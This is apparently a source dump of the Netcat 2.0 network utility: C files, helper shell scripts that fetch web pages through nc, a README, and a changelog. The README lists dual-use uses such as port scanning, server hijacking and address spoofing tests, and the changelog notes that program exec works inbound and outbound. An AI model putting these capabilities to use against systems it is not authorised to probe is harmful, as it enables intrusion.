21 | char * py; 22 | 23 | /* do the xor, in place. Uses global ptr "py" to maintain "bytes" state */ 24 | xorb (buf, len) 25 | char * buf; 26 | int len; 27 | { 28 | register int x; 29 | register char * pb; 30 | 31 | pb = buf; 32 | x = len; 33 | while (x > 0) { 34 | *pb = (*pb ^ *py); 35 | pb++; 36 | py++; 37 | if (! *py) 38 | py = bytes; 39 | x--; 40 | } 41 | } /* xorb */ 42 | 43 | /* blah */ 44 | main (argc, argv) 45 | int argc; 46 | char ** argv; 47 | { 48 | register int x = 0; 49 | register int y; 50 | 51 | /* manually preload; xor-with-0xFF is all too common */ 52 | memset (bytes, 0, sizeof (bytes)); 53 | bytes[0] = 0xff; 54 | 55 | /* if file named in any arg, reload from that */ 56 | #ifdef O_BINARY /* DOS shit... */ 57 | x = setmode (0, O_BINARY); /* make stdin raw */ 58 | if (x < 0) { 59 | fprintf (stderr, "stdin binary setmode oops: %d\n", x); 60 | exit (1); 61 | } 62 | x = setmode (1, O_BINARY); /* make stdout raw */ 63 | if (x < 0) { 64 | fprintf (stderr, "stdout binary setmode oops: %d\n", x); 65 | exit (1); 66 | } 67 | #endif /* O_BINARY */ 68 | 69 | if (argv[1]) 70 | #ifdef O_BINARY 71 | x = open (argv[1], O_RDONLY | O_BINARY); 72 | #else 73 | x = open (argv[1], O_RDONLY); 74 | #endif 75 | if (x > 0) { 76 | read (x, bytes, 250); /* nothin' fancy here */ 77 | close (x); 78 | } 79 | py = bytes; 80 | x = 1; 81 | while (x > 0) { 82 | x = read (0, buf, sizeof (buf)); 83 | if (x <= 0) 84 | break; 85 | xorb (buf, x); 86 | y = write (1, buf, x); 87 | if (y <= 0) 88 | exit (1); 89 | } 90 | exit (0); 91 | } 92 | 93 | -------------------------------------------------------------------------------- /poll.c: -------------------------------------------------------------------------------- 1 | /* poll(2) emulation. 2 | This file is in the public domain. */ 3 | 4 | #include "poll.h" 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | int 14 | poll (struct pollfd *ufds, nfds_t nfd, int msec) 15 | { 16 | fd_set readfds, writefds, exceptfds; 17 | struct timeval timeout, *ptimeout; 18 | nfds_t i; 19 | int max_fd, rc; 20 | 21 | /* compute fd_sets and find largest descriptor */ 22 | FD_ZERO (&readfds); 23 | FD_ZERO (&writefds); 24 | FD_ZERO (&exceptfds); 25 | for (max_fd = -1, i = 0; i < nfd; i++) 26 | if (ufds[i].fd >= 0) 27 | { 28 | if (ufds[i].events & (POLLIN | POLLRDNORM)) 29 | { 30 | FD_SET (ufds[i].fd, &readfds); 31 | max_fd = (ufds[i].fd > max_fd) ? ufds[i].fd : max_fd; 32 | } 33 | if (ufds[i].events & (POLLOUT | POLLWRNORM | POLLWRBAND)) 34 | { 35 | FD_SET (ufds[i].fd, &writefds); 36 | max_fd = (ufds[i].fd > max_fd) ? ufds[i].fd : max_fd; 37 | } 38 | if (ufds[i].events & (POLLPRI | POLLRDBAND)) 39 | { 40 | FD_SET (ufds[i].fd, &exceptfds); 41 | max_fd = (ufds[i].fd > max_fd) ? ufds[i].fd : max_fd; 42 | } 43 | } 44 | 45 | if (max_fd == -1) 46 | { 47 | errno = EINVAL; 48 | return -1; 49 | } 50 | 51 | /* convert milliseconds to a timeval structure */ 52 | if (msec < 0) 53 | ptimeout = NULL; 54 | else 55 | { 56 | /* return after msec */ 57 | ptimeout = &timeout; 58 | timeout.tv_sec = msec / 1000; 59 | timeout.tv_usec = (msec % 1000) * 1000; 60 | } 61 | 62 | if (select (max_fd + 1, &readfds, &writefds, &exceptfds, ptimeout) == -1) 63 | return -1; 64 | 65 | /* ok, proceed to find the results */ 66 | for (rc = 0, i = 0; i < nfd; i++) 67 | if (ufds[i].fd >= 0) 68 | { 69 | ufds[i].revents = 0; 70 | if (FD_ISSET (ufds[i].fd, &readfds)) 71 | { 72 | /* support for POLLHUP */ 73 | int save_errno = errno; 74 | char data[64]; 75 | if ((recv (ufds[i].fd, data, 64, MSG_PEEK) == -1) 76 | && (errno == ESHUTDOWN || errno == ECONNRESET || 77 | errno == ECONNABORTED || errno == ENETRESET)) 78 | ufds[i].revents |= POLLHUP; 79 | else 80 | ufds[i].revents |= ufds[i].events & (POLLIN | POLLRDNORM); 81 | 82 | errno = save_errno; 83 | } 84 | 85 | if (FD_ISSET (ufds[i].fd, &writefds)) 86 | ufds[i].revents |= ufds[i].events & (POLLOUT | POLLWRNORM | POLLWRBAND); 87 | 88 | if (FD_ISSET (ufds[i].fd, &exceptfds)) 89 | ufds[i].revents |= ufds[i].events & (POLLPRI | POLLRDBAND); 90 | 91 | if (ufds[i].revents & ~POLLHUP) 92 | rc++; 93 | } 94 | else 95 | ufds[i].revents = POLLNVAL; 96 | 97 | return rc; 98 | } 99 | -------------------------------------------------------------------------------- /scripts/websearch: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | ## Hit the major search engines. Hose the [large] output to a file! 3 | ## autoconverts multiple arguments into the right format for given servers -- 4 | ## usually worda+wordb, with certain lame exceptions like dejanews. 5 | ## Extracting and post-sorting the URLs is highly recommended... 6 | ## 7 | ## Altavista currently handled by a separate script; may merge at some point. 8 | ## 9 | ## _H* original 950824, updated 951218 and 960209 10 | 11 | test "${1}" = "" && echo 'Needs argument[s] to search for!' && exit 1 12 | PLUSARG="`echo $* | sed 's/ /+/g'`" 13 | PIPEARG="`echo ${PLUSARG} | sed 's/+/|/g'`" 14 | IFILE=/tmp/.webq.$$ 15 | 16 | # Don't have "nc"? Get "netcat" from avian.org and add it to your toolkit. 17 | doquery () { 18 | echo GET "$1" | nc -v -i 1 -w 30 "$2" "$3" 19 | } 20 | 21 | # changed since original: now supplying port numbers and separator lines... 22 | 23 | echo "=== Yahoo ===" 24 | doquery "/bin/search?p=${PLUSARG}&n=300&w=w&s=a" search.yahoo.com 80 25 | 26 | echo '' ; echo "=== Webcrawler ===" 27 | doquery "/cgi-bin/WebQuery?searchText=${PLUSARG}&maxHits=300" webcrawler.com 80 28 | 29 | # the infoseek lamers want "registration" before they do a real search, but... 30 | echo '' ; echo "=== Infoseek ===" 31 | echo " is broken." 32 | # doquery "WW/IS/Titles?qt=${PLUSARG}" www2.infoseek.com 80 33 | # ... which doesn't work cuz their lame server wants the extra newlines, WITH 34 | # CRLF pairs ferkrissake. Fuck 'em for now, they're hopelessly broken. If 35 | # you want to play, the basic idea and query formats follow. 36 | # echo "GET /WW/IS/Titles?qt=${PLUSARG}" > $IFILE 37 | # echo "" >> $IFILE 38 | # nc -v -w 30 guide-p.infoseek.com 80 < $IFILE 39 | 40 | # this is kinda flakey; might have to do twice?? 41 | echo '' ; echo "=== Opentext ===" 42 | doquery "/omw/simplesearch?SearchFor=${PLUSARG}&mode=phrase" \ 43 | search.opentext.com 80 44 | 45 | # looks like inktomi will only take hits=100, or defaults back to 30 46 | # we try to suppress all the stupid rating dots here, too 47 | echo '' ; echo "=== Inktomi ===" 48 | doquery "/query/?query=${PLUSARG}&hits=100" ink3.cs.berkeley.edu 1234 | \ 49 | sed '/^$/d' 50 | 51 | #djnews lame shit limits hits to 120 and has nonstandard format 52 | echo '' ; echo "=== Dejanews ===" 53 | doquery "/cgi-bin/nph-dnquery?query=${PIPEARG}+maxhits=110+format=terse+defaultOp=AND" \ 54 | smithers.dejanews.com 80 55 | 56 | # OLD lycos: used to work until they fucking BROKE it... 57 | # doquery "/cgi-bin/pursuit?query=${PLUSARG}&maxhits=300&terse=1" \ 58 | # query5.lycos.cs.cmu.edu 80 59 | # NEW lycos: wants the User-agent field present in query or it returns nothing 60 | # 960206: webmaster@lycos duly bitched at 61 | # 960208: reply received; here's how we will now handle it: 62 | echo \ 63 | "GET /cgi-bin/pursuit?query=${PLUSARG}&maxhits=300&terse=terse&matchmode=and&minscore=.5 HTTP/1.x" \ 64 | > $IFILE 65 | echo "User-agent: *FUCK OFF*" >> $IFILE 66 | echo "Why: go ask todd@pointcom.com (Todd Whitney)" >> $IFILE 67 | echo '' >> $IFILE 68 | echo '' ; echo "=== Lycos ===" 69 | nc -v -i 1 -w 30 twelve.srv.lycos.com 80 < $IFILE 70 | 71 | rm -f $IFILE 72 | exit 0 73 | 74 | # CURRENTLY BROKEN [?] 75 | # infoseek 76 | 77 | # some args need to be redone to ensure whatever "and" mode applies 78 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | Netcat 2.0 2 | ========== /\_/\ 3 | / 0 0 \ 4 | Netcat is a simple Unix utility which reads and writes data ====v==== 5 | across network connections, using TCP or UDP protocol. \ W / 6 | It is designed to be a reliable "back-end" tool that can | | _ 7 | be used directly or easily driven by other programs and / ___ \ / 8 | scripts. At the same time, it is a feature-rich network / / \ \ | 9 | debugging and exploration tool, since it can create almost (((-----)))-' 10 | any kind of connection you would need and has several / 11 | interesting built-in capabilities. Netcat, or "nc" as the ( ___ 12 | actual program is named, should have been supplied long ago \__.=|___E 13 | as another one of those cryptic but standard Unix tools. / 14 | 15 | Some of netcat's major features are: 16 | 17 | Outbound or inbound connections, TCP or UDP, to or from any ports 18 | Full DNS forward/reverse checking, with appropriate warnings 19 | Ability to use any local source port 20 | Ability to use any locally-configured network source address 21 | Built-in port-scanning capabilities, with randomizer 22 | Can read command line arguments from standard input 23 | Slow-send mode, one line every N seconds 24 | Hex dump of transmitted and received data 25 | Ability to let another program service established connections 26 | Optional telnet-options responder 27 | 28 | A very short list of potential uses: 29 | 30 | Script backends 31 | Scanning ports and inventorying services, automated probes 32 | Backup handlers 33 | File transfers 34 | Server testing, simulation, debugging, and hijacking 35 | Firewall testing 36 | Proxy gatewaying 37 | Network performance testing 38 | Address spoofing tests 39 | Protecting X servers 40 | 1001 other uses you'll likely come up with 41 | 42 | Changes between the 1.10 release and release 2.00: 43 | 44 | Autoconfiscation 45 | Source code easier to read 46 | Removed DNS checking, too complicated and interacted badly with IPv6 47 | Removed source-routing, nobody enables it anymore :-) 48 | Support for IPv6 49 | Multi-line input for port scanning 50 | Quit-upon-end-of-input 51 | 52 | Changes between the 1.00 release and release 1.10: 53 | 54 | Better portability -- updated generic.h and Makefile [thanx folks!] 55 | Indication of local-end interface address on inbound connections 56 | That's *Dave* Borman's telnet, not Paul Borman... 57 | Better indication of DNS errors 58 | Total byte counts printed if -v -v is used 59 | A bunch of front-end driver companion programs and scripts 60 | Better handling of stdin arguments-plus-data 61 | Hex-dump feature 62 | Telnet responder 63 | Program exec works inbound or outbound now 64 | 65 | Netcat and the associated package was written by *Hobbit* as a product 66 | of Avian Research, and the last version he released is available in full 67 | source form with no restrictions save an obligation to give credit where 68 | due. Get it via anonymous FTP at avian.org:/src/hacks/nc110.tgz 69 | which is a gzipped tar file and not to be confused with its version 1.00 70 | precursor, nc100.tgz. Other distribution formats can be accomodated upon 71 | request. Netcat is also mirrored at the following [faster] sites: 72 | 73 | zippy.telcom.arizona.edu:/pub/mirrors/avian.org/hacks/nc110.tgz 74 | ftp.sterling.com:/mirrors/avian.org/src/hacks/nc110.tgz 75 | coast.cs.purdue.edu:/pub/tools/unix/netcat/nc110.tgz 76 | ftp.rge.com:/pub/security/coast/mirrors/avian.org/netcat/nc110.tgz 77 | 78 | This release is not an attempt to steal *Hobbit*'s merits as Netcat's 79 | author, but rather to keep an extraordinarily useful tool in pace with 80 | the changes in the Internet, and to make an extraordinarily instructive 81 | piece of code even more so. 82 | 83 | Note that there is another renewed version of Netcat which is included 84 | in OpenBSD. These two are not related; this version does keep most of 85 | the original source code (albeit with renamed variables/functions and 86 | updated/edited comments), while OpenBSD's is said to be a complete 87 | rewrite. OpenBSD's version lacks some features (hexdump, line-by-line, 88 | multiplexing) but has some more (AF_UNIX sockets and SOCKS support). 89 | -------------------------------------------------------------------------------- /Changelog: -------------------------------------------------------------------------------- 1 | A few years later 2 | add -c, taken from version at nc110.sf.net 3 | 2.0-alpha4 4 | connecting to IPv6 servers without the -6 option works 5 | use getnameinfo to restore printing of resolved host names 6 | portability improvements 7 | 2.0-alpha3 8 | fix bug when there is outgoing data and the peer exits 9 | 2.0-alpha2 10 | fixed a severe bug (no more than 8k of data from stdin) 11 | fixed hex-dumping bug 12 | provide emulation for poll 13 | 2.0-alpha1 14 | big source code cleanup, be autoconfy, use getaddrinfo and poll 15 | added -q option 16 | support IPv6 17 | removed source routing 18 | turned manual to texinfo 19 | 20 | --- 21 | 22 | Here is sort of an edit history for netcat, in backward cron order. 23 | 24 | 960320 -- 1.10 25 | RELEASE version tested everywhere I could get to, up for FTP 26 | 960310 -- 1.09a goddamnit-I'm-gonna-release-REAL-soon 27 | made -e work outbound, too 28 | random final cleanups and doc updates ... pant pant ... 29 | 960229 -- 1.09 30 | telnet-opts responder in; left as OPTIONAL chunk since it mucks 31 | with the data stream. 32 | -e disables -o hexdump; avoid zero-length file turds 33 | 960227 34 | hexdump in -- it's actually gonna be quite useful! 35 | doc adds for hexdump; orig idea from dgaudet@wired 36 | 960223 -- 1.08 37 | if doconnect skt is 0 grab another one, don't dup(). [stupid solaris..] 38 | threw in latest web scripts 39 | threw in irc 40 | more doc tweaks 41 | stuck 1.08 prerelease up for FTP 42 | 960217 -- 1.07 43 | finally fixed stdin-read-args thing to retain and send leftover data 44 | added version to help text 45 | made ascii-art cuter 46 | added "probe" script 47 | added Nextstep systype 48 | finally fixed data.c to run "forever" 49 | created xor.c 50 | 960201 51 | genned up some more data dumps: pmap-mnt.d, showmount.d, 52 | various others; into real tree 53 | 960131 -- 1.06 54 | flushed rndoption stuff 55 | report of closing stdin fucking up Solaris. Not tried yet. 56 | extra arg to rservice.c 57 | documentation updates, added netcat-art and many udder tings 58 | added Bela Lubkin's #ifdefs for SIGURG [SCO rel 5] 59 | added ignoring SIGPIPE [lesson learned from webs.c] 60 | 960120 -- 1.05 61 | give totals even if we ^C out [that's what sigcatchers are *for*!] 62 | cleaned up big LSRR explanation comment 63 | 951227 64 | port data.c to msloss, it might be useful 65 | some doc slogging; particularly the telnet-wrapper idea 66 | 951217 67 | rservice.c, an answer to mudge's k-rad script 68 | 951215 69 | improved data.c; added xfer count and %r 70 | 951204 -- 1.04 71 | fixed duplication lameness with printing h_errno stuff 72 | 951113 -- 1.03 73 | added first-net-read skip to select loop if we have saved stdin, and 74 | moved retry-count test ahead of this. Makes multimode work much more 75 | sensibly... 76 | fleshed out this here edit history 77 | 951110 78 | try rnd-options, but setsockopt tosses them. Punt... 79 | dumped "x.y" microtiming idea; seconds are granular enough for now 80 | tweaked help text 81 | 951107 82 | sys/select.h for them what needs it 83 | wrote_txt and more calls to print sent/rcvd 84 | 951106 -- 1.02 85 | added h_errno strings and updated holler, gethostpoop to find them 86 | Still slightly confused if gethostpoop() returns prematurely... 87 | 951029 88 | put "sent/rcvd" typeout more places, still only if -v -v 89 | Doc fix: It's *David* Borman, not Paul [aka Mr. Environment 90 | Variables, this month...] 91 | 951028 -- 1.01 92 | fixed exit status if -z on a single port -- was -1, is now 0 or 1 93 | like it should be 94 | 951023 95 | added indication of *local* address in dolisten() connect handling 96 | reset errno before dolisten msgs -- gethostpoop might have munged it 97 | 951021 98 | doc tweak per cgull 99 | webproxy/webrelay scripts came together. fuckin' yow. 100 | 951012 -- 1.00 101 | nc100 RELEASE, mailing-list spam, etc etc 102 | 951010 103 | almost-1.00 release up for FTP, but not announced yet 104 | added a couple of wrapper scripts 105 | 951008 106 | hammered out exit-status stuff, final main() argv loop cleanup 107 | massive readme cleanup pre-1.00 release 108 | 951005 or so 109 | added random mode, which necessitated more main() logic cleanups 110 | 951004 111 | getportpoop 112 | inbound options hexdump finally works [forgot to preload "size" int] 113 | 951003 114 | added exec-a-prog thing 115 | cleaned up routine-header comments 116 | signal catcher 117 | close stdin when we won't need it [-z, etc] 118 | 950927 119 | unsnarled main a fair amount 120 | got "udptest" working right 121 | added HELP!! yow. 122 | 950923 123 | select loop is firm, connect and i/o works nicely 124 | added listen mode 125 | crocked in UDP and debugged how its back-connect works 126 | 950920 or so 127 | timeout handlers, improvements to gethostpoop, read-stdin-args, 128 | primitive select loop, and later the stdin-to-many saved-count thing 129 | 950915 or so 130 | basic gethostpoop and doconnect layout established 131 | 132 | -------------------------------------------------------------------------------- /getopt.h: -------------------------------------------------------------------------------- 1 | /* Declarations for getopt. 2 | Copyright (C) 1989,90,91,92,93,94,96,97 Free Software Foundation, Inc. 3 | 4 | NOTE: The canonical source of this file is maintained with the GNU C Library. 5 | Bugs can be reported to bug-glibc@gnu.org. 6 | 7 | This program is free software; you can redistribute it and/or modify it 8 | under the terms of the GNU General Public License as published by the 9 | Free Software Foundation; either version 2, or (at your option) any 10 | later version. 11 | 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | GNU General Public License for more details. 16 | 17 | You should have received a copy of the GNU General Public License 18 | along with this program; if not, write to the Free Software 19 | Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, 20 | USA. */ 21 | 22 | #ifndef _GETOPT_H 23 | #define _GETOPT_H 1 24 | 25 | #ifdef __cplusplus 26 | extern "C" 27 | { 28 | #endif 29 | 30 | /* For communication from `getopt' to the caller. 31 | When `getopt' finds an option that takes an argument, 32 | the argument value is returned here. 33 | Also, when `ordering' is RETURN_IN_ORDER, 34 | each non-option ARGV-element is returned here. */ 35 | 36 | extern char *optarg; 37 | 38 | /* Index in ARGV of the next element to be scanned. 39 | This is used for communication to and from the caller 40 | and for communication between successive calls to `getopt'. 41 | 42 | On entry to `getopt', zero means this is the first call; initialize. 43 | 44 | When `getopt' returns -1, this is the index of the first of the 45 | non-option elements that the caller should itself scan. 46 | 47 | Otherwise, `optind' communicates from one call to the next 48 | how much of ARGV has been scanned so far. */ 49 | 50 | extern int optind; 51 | 52 | /* Callers store zero here to inhibit the error message `getopt' prints 53 | for unrecognized options. */ 54 | 55 | extern int opterr; 56 | 57 | /* Set to an option character which was unrecognized. */ 58 | 59 | extern int optopt; 60 | 61 | /* Describe the long-named options requested by the application. 62 | The LONG_OPTIONS argument to getopt_long or getopt_long_only is a vector 63 | of `struct option' terminated by an element containing a name which is 64 | zero. 65 | 66 | The field `has_arg' is: 67 | no_argument (or 0) if the option does not take an argument, 68 | required_argument (or 1) if the option requires an argument, 69 | optional_argument (or 2) if the option takes an optional argument. 70 | 71 | If the field `flag' is not NULL, it points to a variable that is set 72 | to the value given in the field `val' when the option is found, but 73 | left unchanged if the option is not found. 74 | 75 | To have a long-named option do something other than set an `int' to 76 | a compiled-in constant, such as set a value from `optarg', set the 77 | option's `flag' field to zero and its `val' field to a nonzero 78 | value (the equivalent single-letter option character, if there is 79 | one). For long options that have a zero `flag' field, `getopt' 80 | returns the contents of the `val' field. */ 81 | 82 | struct option 83 | { 84 | #if defined (__STDC__) && __STDC__ 85 | const char *name; 86 | #else 87 | char *name; 88 | #endif 89 | /* has_arg can't be an enum because some compilers complain about 90 | type mismatches in all the code that assumes it is an int. */ 91 | int has_arg; 92 | int *flag; 93 | int val; 94 | }; 95 | 96 | /* Names for the values of the `has_arg' field of `struct option'. */ 97 | 98 | #define no_argument 0 99 | #define required_argument 1 100 | #define optional_argument 2 101 | 102 | #if defined (__STDC__) && __STDC__ 103 | #ifdef __GNU_LIBRARY__ 104 | /* Many other libraries have conflicting prototypes for getopt, with 105 | differences in the consts, in stdlib.h. To avoid compilation 106 | errors, only prototype getopt for the GNU C library. */ 107 | extern int getopt (int argc, char *const *argv, const char *shortopts); 108 | #else /* not __GNU_LIBRARY__ */ 109 | extern int getopt (); 110 | #endif /* __GNU_LIBRARY__ */ 111 | extern int getopt_long (int argc, char *const *argv, const char *shortopts, 112 | const struct option *longopts, int *longind); 113 | extern int getopt_long_only (int argc, char *const *argv, 114 | const char *shortopts, 115 | const struct option *longopts, int *longind); 116 | 117 | /* Internal only. Users should not call this directly. */ 118 | extern int _getopt_internal (int argc, char *const *argv, 119 | const char *shortopts, 120 | const struct option *longopts, int *longind, 121 | int long_only); 122 | #else /* not __STDC__ */ 123 | extern int getopt (); 124 | extern int getopt_long (); 125 | extern int getopt_long_only (); 126 | 127 | extern int _getopt_internal (); 128 | #endif /* __STDC__ */ 129 | 130 | #ifdef __cplusplus 131 | } 132 | #endif 133 | 134 | #endif /* getopt.h */ 135 | -------------------------------------------------------------------------------- /getopt1.c: -------------------------------------------------------------------------------- 1 | /* getopt_long and getopt_long_only entry points for GNU getopt. 2 | Copyright (C) 1987,88,89,90,91,92,93,94,96,97,98 3 | Free Software Foundation, Inc. 4 | 5 | NOTE: The canonical source of this file is maintained with the GNU C Library. 6 | Bugs can be reported to bug-glibc@gnu.org. 7 | 8 | This program is free software; you can redistribute it and/or modify it 9 | under the terms of the GNU General Public License as published by the 10 | Free Software Foundation; either version 2, or (at your option) any 11 | later version. 12 | 13 | This program is distributed in the hope that it will be useful, 14 | but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | GNU General Public License for more details. 17 | 18 | You should have received a copy of the GNU General Public License 19 | along with this program; if not, write to the Free Software 20 | Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, 21 | USA. */ 22 | 23 | #ifdef HAVE_CONFIG_H 24 | #include 25 | #endif 26 | 27 | #include "getopt.h" 28 | 29 | #if !defined __STDC__ || !__STDC__ 30 | /* This is a separate conditional since some stdc systems 31 | reject `defined (const)'. */ 32 | #ifndef const 33 | #define const 34 | #endif 35 | #endif 36 | 37 | #include 38 | 39 | /* Comment out all this code if we are using the GNU C Library, and are not 40 | actually compiling the library itself. This code is part of the GNU C 41 | Library, but also included in many other GNU distributions. Compiling 42 | and linking in this code is a waste when using the GNU C library 43 | (especially if it is a shared library). Rather than having every GNU 44 | program understand `configure --with-gnu-libc' and omit the object files, 45 | it is simpler to just do this in the source for each such file. */ 46 | 47 | #define GETOPT_INTERFACE_VERSION 2 48 | #if !defined _LIBC && defined __GLIBC__ && __GLIBC__ >= 2 49 | #include 50 | #if _GNU_GETOPT_INTERFACE_VERSION == GETOPT_INTERFACE_VERSION 51 | #define ELIDE_CODE 52 | #endif 53 | #endif 54 | 55 | #ifndef ELIDE_CODE 56 | 57 | 58 | /* This needs to come after some library #include 59 | to get __GNU_LIBRARY__ defined. */ 60 | #ifdef __GNU_LIBRARY__ 61 | #include 62 | #endif 63 | 64 | #ifndef NULL 65 | #define NULL 0 66 | #endif 67 | 68 | int 69 | getopt_long (argc, argv, options, long_options, opt_index) 70 | int argc; 71 | char *const *argv; 72 | const char *options; 73 | const struct option *long_options; 74 | int *opt_index; 75 | { 76 | return _getopt_internal (argc, argv, options, long_options, opt_index, 0); 77 | } 78 | 79 | /* Like getopt_long, but '-' as well as '--' can indicate a long option. 80 | If an option that starts with '-' (not '--') doesn't match a long option, 81 | but does match a short option, it is parsed as a short option 82 | instead. */ 83 | 84 | int 85 | getopt_long_only (argc, argv, options, long_options, opt_index) 86 | int argc; 87 | char *const *argv; 88 | const char *options; 89 | const struct option *long_options; 90 | int *opt_index; 91 | { 92 | return _getopt_internal (argc, argv, options, long_options, opt_index, 1); 93 | } 94 | 95 | 96 | #endif /* Not ELIDE_CODE. */ 97 | 98 | #ifdef TEST 99 | 100 | #include 101 | 102 | int 103 | main (argc, argv) 104 | int argc; 105 | char **argv; 106 | { 107 | int c; 108 | int digit_optind = 0; 109 | 110 | while (1) 111 | { 112 | int this_option_optind = optind ? optind : 1; 113 | int option_index = 0; 114 | static struct option long_options[] = 115 | { 116 | {"add", 1, 0, 0}, 117 | {"append", 0, 0, 0}, 118 | {"delete", 1, 0, 0}, 119 | {"verbose", 0, 0, 0}, 120 | {"create", 0, 0, 0}, 121 | {"file", 1, 0, 0}, 122 | {0, 0, 0, 0} 123 | }; 124 | 125 | c = getopt_long (argc, argv, "abc:d:0123456789", 126 | long_options, &option_index); 127 | if (c == -1) 128 | break; 129 | 130 | switch (c) 131 | { 132 | case 0: 133 | printf ("option %s", long_options[option_index].name); 134 | if (optarg) 135 | printf (" with arg %s", optarg); 136 | printf ("\n"); 137 | break; 138 | 139 | case '0': 140 | case '1': 141 | case '2': 142 | case '3': 143 | case '4': 144 | case '5': 145 | case '6': 146 | case '7': 147 | case '8': 148 | case '9': 149 | if (digit_optind != 0 && digit_optind != this_option_optind) 150 | printf ("digits occur in two different argv-elements.\n"); 151 | digit_optind = this_option_optind; 152 | printf ("option %c\n", c); 153 | break; 154 | 155 | case 'a': 156 | printf ("option a\n"); 157 | break; 158 | 159 | case 'b': 160 | printf ("option b\n"); 161 | break; 162 | 163 | case 'c': 164 | printf ("option c with value `%s'\n", optarg); 165 | break; 166 | 167 | case 'd': 168 | printf ("option d with value `%s'\n", optarg); 169 | break; 170 | 171 | case '?': 172 | break; 173 | 174 | default: 175 | printf ("?? getopt returned character code 0%o ??\n", c); 176 | } 177 | } 178 | 179 | if (optind < argc) 180 | { 181 | printf ("non-option ARGV-elements: "); 182 | while (optind < argc) 183 | printf ("%s ", argv[optind++]); 184 | printf ("\n"); 185 | } 186 | 187 | exit (0); 188 | } 189 | 190 | #endif /* TEST */ 191 | -------------------------------------------------------------------------------- /scripts/web: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | ## The web sucks. It is a mighty dismal kludge built out of a thousand 3 | ## tiny dismal kludges all band-aided together, and now these bottom-line 4 | ## clueless pinheads who never heard of "TCP handshake" want to run 5 | ## *commerce* over the damn thing. Ye godz. Welcome to TV of the next 6 | ## century -- six million channels of worthless shit to choose from, and 7 | ## about as much security as today's cable industry! 8 | ## 9 | ## Having grown mightily tired of pain in the ass browsers, I decided 10 | ## to build the minimalist client. It doesn't handle POST, just GETs, but 11 | ## the majority of cgi forms handlers apparently ignore the method anyway. 12 | ## A distinct advantage is that it *doesn't* pass on any other information 13 | ## to the server, like Referer: or info about your local machine such as 14 | ## Netscum tries to! 15 | ## 16 | ## Since the first version, this has become the *almost*-minimalist client, 17 | ## but it saves a lot of typing now. And with netcat as its backend, it's 18 | ## totally the balls. Don't have netcat? Get it here in /src/hacks! 19 | ## _H* 950824, updated 951009 et seq. 20 | ## 21 | ## args: hostname [port]. You feed it the filename-parts of URLs. 22 | ## In the loop, HOST, PORT, and SAVE do the right things; a null line 23 | ## gets the previous spec again [useful for initial timeouts]; EOF to exit. 24 | ## Relative URLs behave like a "cd" to wherever the last slash appears, or 25 | ## just use the last component with the saved preceding "directory" part. 26 | ## "\" clears the "filename" part and asks for just the "directory", and 27 | ## ".." goes up one "directory" level while retaining the "filename" part. 28 | ## Play around; you'll get used to it. 29 | 30 | if test "$1" = "" ; then 31 | echo Needs hostname arg. 32 | exit 1 33 | fi 34 | umask 022 35 | 36 | # optional PATH fixup 37 | # PATH=${HOME}:${PATH} ; export PATH 38 | 39 | test "${PAGER}" || PAGER=more 40 | BACKEND="nc -v -w 15" 41 | TMPAGE=/tmp/web$$ 42 | host="$1" 43 | port="80" 44 | if test "$2" != "" ; then 45 | port="$2" 46 | fi 47 | 48 | spec="/" 49 | specD="/" 50 | specF='' 51 | saving='' 52 | 53 | # be vaguely smart about temp file usage. Use your own homedir if you're 54 | # paranoid about someone symlink-racing your shell script, jeez. 55 | rm -f ${TMPAGE} 56 | test -f ${TMPAGE} && echo "Can't use ${TMPAGE}" && exit 1 57 | 58 | # get loopy. Yes, I know "echo -n" aint portable. Everything echoed would 59 | # need "\c" tacked onto the end in an SV universe, which you can fix yourself. 60 | while echo -n "${specD}${specF} " && read spec ; do 61 | case $spec in 62 | HOST) 63 | echo -n 'New host: ' 64 | read host 65 | continue 66 | ;; 67 | PORT) 68 | echo -n 'New port: ' 69 | read port 70 | continue 71 | ;; 72 | SAVE) 73 | echo -n 'Save file: ' 74 | read saving 75 | # if we've already got a page, save it 76 | test "${saving}" && test -f ${TMPAGE} && 77 | echo "=== ${host}:${specD}${specF} ===" >> $saving && 78 | cat ${TMPAGE} >> $saving && echo '' >> $saving 79 | continue 80 | ;; 81 | # changing the logic a bit here. Keep a state-concept of "current dir" 82 | # and "current file". Dir is /foo/bar/ ; file is "baz" or null. 83 | # leading slash: create whole new state. 84 | /*) 85 | specF=`echo "${spec}" | sed 's|.*/||'` 86 | specD=`echo "${spec}" | sed 's|\(.*/\).*|\1|'` 87 | spec="${specD}${specF}" 88 | ;; 89 | # embedded slash: adding to the path. "file" part can be blank, too 90 | */*) 91 | specF=`echo "${spec}" | sed 's|.*/||'` 92 | specD=`echo "${specD}${spec}" | sed 's|\(.*/\).*|\1|'` 93 | ;; 94 | # dotdot: jump "up" one level and just reprompt [confirms what it did...] 95 | ..) 96 | specD=`echo "${specD}" | sed 's|\(.*/\)..*/|\1|'` 97 | continue 98 | ;; 99 | # blank line: do nothing, which will re-get the current one 100 | '') 101 | ;; 102 | # hack-quoted blank line: "\" means just zero out "file" part 103 | '\') 104 | specF='' 105 | ;; 106 | # sigh 107 | '?') 108 | echo Help yourself. Read the script fer krissake. 109 | continue 110 | ;; 111 | # anything else is taken as a "file" part 112 | *) 113 | specF=${spec} 114 | ;; 115 | esac 116 | 117 | # now put it together and stuff it down a connection. Some lame non-unix 118 | # http servers assume they'll never get simple-query format, and wait till 119 | # an extra newline arrives. If you're up against one of these, change 120 | # below to (echo GET "$spec" ; echo '') | $BACKEND ... 121 | spec="${specD}${specF}" 122 | echo GET "${spec}" | $BACKEND $host $port > ${TMPAGE} 123 | ${PAGER} ${TMPAGE} 124 | 125 | # save in a format that still shows the URLs we hit after a de-html run 126 | if test "${saving}" ; then 127 | echo "=== ${host}:${spec} ===" >> $saving 128 | cat ${TMPAGE} >> $saving 129 | echo '' >> $saving 130 | fi 131 | done 132 | rm -f ${TMPAGE} 133 | exit 0 134 | 135 